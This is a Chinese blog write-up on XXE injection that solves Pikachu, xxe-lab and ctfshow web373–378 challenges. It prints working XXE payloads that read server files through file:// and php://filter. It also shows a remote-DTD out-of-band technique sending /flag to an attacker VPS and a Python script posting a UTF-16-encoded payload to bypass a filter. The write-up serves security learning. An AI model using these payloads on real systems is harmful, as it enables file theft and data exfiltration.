XXE漏洞的分析与实战

PS:现在很多语言里对应的解析xml的函数默认是禁止解析xml外部实体内容的

就如在php中,对于xml的解析用的是libxml,在libxml版本>=2.9.0时默认是禁止解析xml外部实体内容的。

在本次案例中,为了漏洞复现,手动指定LIBXML_NOENT选项开启了xml实体注入。

XXE漏洞简介:

XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

xml的简单介绍:

XML 指可扩展标记语言(eXtensible Markup Language)。
XML 文档第一行以 XML 声明开始,用来表述文档的一些信息,如:<?xml version="1.0" encoding="UTF-8"?>

<?xml version="1.0" encoding="UTF-8"?>
<site>
  <name>RUNOOB</name>
  <url>https://www.xml.com</url>
  <logo>xml-logo.png</logo>
  <desc>xml</desc>
</site>

pikachu的演示:

在这里插入图片描述

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<x>&f;</x>

php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
#回忆一下,php的filter协议

传入后:返回base64 解码后:
在这里插入图片描述

<?xml version = "1.0"?>
<!DOCTYPE note [
    <!ENTITY hacker "xxeme">
]>
<name>&hacker;</name>

在这里插入图片描述
防止突然上题目而带来的突兀感,我们在实战之前通过一下,xee-lab的具体分析,以此来具体了解一下,该漏洞:
在这里插入图片描述
在这里插入图片描述
无法登陆,burp抓包看看:
在这里插入图片描述
发现传入的是这种标签,格式,没错这就是xml
在这里插入图片描述
特别注意:
在这里插入图片描述
这里应该选择Nginx:

ctfshow web373

error_reporting(0);
libxml_disable_entity_loader(false);//不禁止外部实体载入
$xmlfile = file_get_contents('php://input');//拿POST原始数据,赋值给xmlfile
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    



尝试写一个payload:

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE hacker[
    <!ENTITY hacker SYSTEM "file:///flag">//必须得知道文件名称
]> 

<root>

    <ctfshow>

        &hacker;
    </ctfshow>
</root>

burpsuite 抓包:
POST 传参:
在这里插入图片描述

web 374-376

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    
#发现相比上一次,少了下列几行:
$creds = simplexml_import_dom($dom);// 把 DOM 对象转换为 PHP 对象。相当于从XML变成了PHP里面的对象。
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;

这种题目有一招通杀的办法,既然页面无回显,我们利用tcp,将其发送到我们的远程vps,上。
下面给出这类的固定套路:
payload:

<!DOCTYPE note[
<!ENTITY  % remote SYSTEM "http://vps-ip-you/xxe.dtd">
%remote;%int;%send;
]>

http://vps-ip-you/xxe.dtd,路径下要有xxe.dtd:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
  
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://vps-ip-you/%file;'>">

但是我突发奇想,能不能传递一个根本不存在的vps,利用报错信息将其带出来;
在这里插入图片描述
我试了之后,发现并不行。
总而言之:这种无回显的题目,思路就是,利用服务器日志,将其信息外带出来。
下面我们再了解一下绕过的情况:

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__); 

发现过滤了头文件,http,文件:
利用以下payload:

import requests
url = 'http://31bfa099-0c5c-4d78-9477-6a6513953714.challenge.ctf.show:8080/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

ctfshow web 378

在这里插入图片描述
哦,跟我们的xxe-lab的模式一样,传入抓包:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值